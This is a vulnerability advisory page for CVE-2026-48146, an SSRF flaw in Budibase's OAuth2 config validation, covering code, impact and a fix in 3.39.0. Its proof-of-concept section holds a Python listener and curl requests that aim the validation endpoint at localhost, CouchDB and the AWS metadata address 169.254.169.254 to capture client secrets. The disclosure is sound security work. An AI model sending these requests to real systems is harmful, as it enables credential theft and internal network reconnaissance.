CVE-2026-48146: Budibase: SSRF via OAuth2 Config Validation — Missing fetchWithBlacklist Protection

Published May 27, 2026
·
Updated

Summary

The OAuth2 token fetch function in packages/server/src/sdk/workspace/oauth2/utils.ts (line 59) uses raw fetch(config.url) with no SSRF protection. The safe wrapper fetchWithBlacklist() exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was not applied to the OAuth2 token endpoint.

A user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data.

Details

Vulnerable code — packages/server/src/sdk/workspace/oauth2/utils.ts:59:

typescript async function fetchToken(config: OAuth2Config): Promise<TokenResponse> { // ... const response = await fetch(config.url, fetchConfig) // NO blacklist check! // ... }

Safe wrapper used everywhere else — packages/backend-core/src/utils/outboundFetch.ts:

typescript export async function fetchWithBlacklist(url: string, opts?: RequestInit) { await blacklist.isBlacklisted(url) // Checks against internal IPs const response = await fetch(url, { ...opts, redirect: "manual" }) // Re-checks every redirect target }

Where fetchWithBlacklist IS used (consistency gap proof): - automations/steps/discord.ts — Discord webhook - automations/steps/slack.ts — Slack webhook - automations/steps/make.ts — Make.com integration - automations/steps/n8n.ts — n8n integration - automations/steps/zapier.ts — Zapier integration - automations/steps/outgoingWebhook.ts — Custom webhooks - Plugin download (GitHub, NPM) - Object store tarball downloads

Where it is NOT used: - sdk/workspace/oauth2/utils.ts:59 — OAuth2 token fetch ← THIS VULNERABILITY

PoC

bash 1. Start SSRF listener python3 -c " import http.server class H(http.server.BaseHTTPRequestHandler): def doPOST(self): length = int(self.headers.get('Content-Length', 0)) body = self.rfile.read(length) print(f'SSRF: {self.path} | Body: {body.decode()}') self.sendresponse(200) self.sendheader('Content-Type','application/json') self.endheaders() self.wfile.write(b'{\"accesstoken\":\"x\",\"tokentype\":\"bearer\"}') http.server.HTTPServer(('0.0.0.0', 9999), H).serveforever() " &

2. As builder, validate OAuth2 config pointing to internal service curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \ -H "Content-Type: application/json" \ -d '{"url":"http://127.0.0.1:9999/ssrf","clientId":"test","clientSecret":"test"}'

Result: Listener captures POST with Authorization: Basic header containing credentials The clientid and clientsecret are leaked to the attacker-controlled URL

3. Access internal CouchDB curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \ -H "Content-Type: application/json" \ -d '{"url":"http://127.0.0.1:5984/alldbs","clientId":"x","clientSecret":"x"}'

Result: {"valid":false,"message":"Unauthorized"} — confirms CouchDB is reachable

4. Access AWS metadata (in cloud deployments) curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \ -H "Content-Type: application/json" \ -d '{"url":"http://169.254.169.254/latest/meta-data/","clientId":"x","clientSecret":"x"}'

Additional SSRF Vector: REST Integration Redirect Bypass

The REST integration at packages/server/src/integrations/rest.ts:754-778 calls blacklist.isBlacklisted(url) only once on the initial URL, then passes it to undici.fetch() with default redirect: "follow". Redirect targets are NOT re-checked against the blacklist. An attacker can use an external URL that 302-redirects to 169.254.169.254.

Contrast with safe wrapper: fetchWithBlacklist() uses redirect: "manual" and re-checks every redirect target.

Impact

- Internal service access — CouchDB (default port 5984), Redis, internal APIs - Cloud metadata exfiltration — AWS/GCP/Azure IAM credentials via 169.254.169.254 - Credential leakage — OAuth2 clientid and clientsecret sent as Basic auth to attacker URL - Network reconnaissance — Scan internal ports by observing error differences (ECONNREFUSED vs timeout vs response)

Remediation

Replace fetch(config.url, fetchConfig) with fetchWithBlacklist(config.url, fetchConfig) in packages/server/src/sdk/workspace/oauth2/utils.ts:

typescript import { fetchWithBlacklist } from "@budibase/backend-core/utils"

async function fetchToken(config: OAuth2Config): Promise<TokenResponse> { // ... const response = await fetchWithBlacklist(config.url, fetchConfig) // ... }

Also fix the REST integration redirect bypass in packages/server/src/integrations/rest.ts by using fetchWithBlacklist() instead of raw undici.fetch().

Other sources

Budibase is an open-source low-code platform. Prior to 3.39.0, the OAuth2 token fetch function in packages/server/src/sdk/workspace/oauth2/utils.ts uses raw fetch(config.url) with no SSRF protection. The safe wrapper fetchWithBlacklist() exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was not applied to the OAuth2 token endpoint. A user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data. This vulnerability is fixed in 3.39.0.

NVD

Affected Software

2 affected componentsFixes available
budibase Budibase<3.39.0
npm/@budibase/server<3.39.0
3.39.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/@budibase/server to a version that resolves this vulnerability.

    Fixed in 3.39.0
  2. Configuration

    Replace the raw fetch call in fetchToken: change fetch(config.url, fetchConfig) to fetchWithBlacklist(config.url, fetchConfig). Import the wrapper: import { fetchWithBlacklist } from "@budibase/backend-core/utils".

    packages/server/src/sdk/workspace/oauth2/utils.ts outbound fetch wrapper for OAuth2 token = fetchWithBlacklist
  3. Configuration

    Replace raw undici.fetch() usage with fetchWithBlacklist() for REST integrations. Ensure redirect behavior is set to redirect: "manual" and re-check each redirect target against the blacklist (i.e., call fetchWithBlacklist so every redirect is validated).

    packages/server/src/integrations/rest.ts redirect handling / outbound fetch = fetchWithBlacklist (redirect: "manual")

Event History

May 27, 2026
CVE Published
via MITRE·05:00 PM
Data Sourced
via MITRE·05:00 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:16 PM
DescriptionSeverityWeakness
Jun 12, 2026
Advisory Published
via GitHub·03:08 PM
Data Sourced
via GitHub·03:08 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-48146?

The severity of CVE-2026-48146 is high, rated at 7.7 on the CVSS scale.

2

How do I fix CVE-2026-48146?

To fix CVE-2026-48146, update to Budibase version 3.39.0 or later.

3

What is CVE-2026-48146 affecting?

CVE-2026-48146 affects the Budibase open-source low-code platform.

4

What type of vulnerability is CVE-2026-48146?

CVE-2026-48146 is classified as a Server-Side Request Forgery (SSRF) vulnerability.

5

What components are affected by CVE-2026-48146?

The vulnerability is present in the OAuth2 token fetch function within the Budibase codebase.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203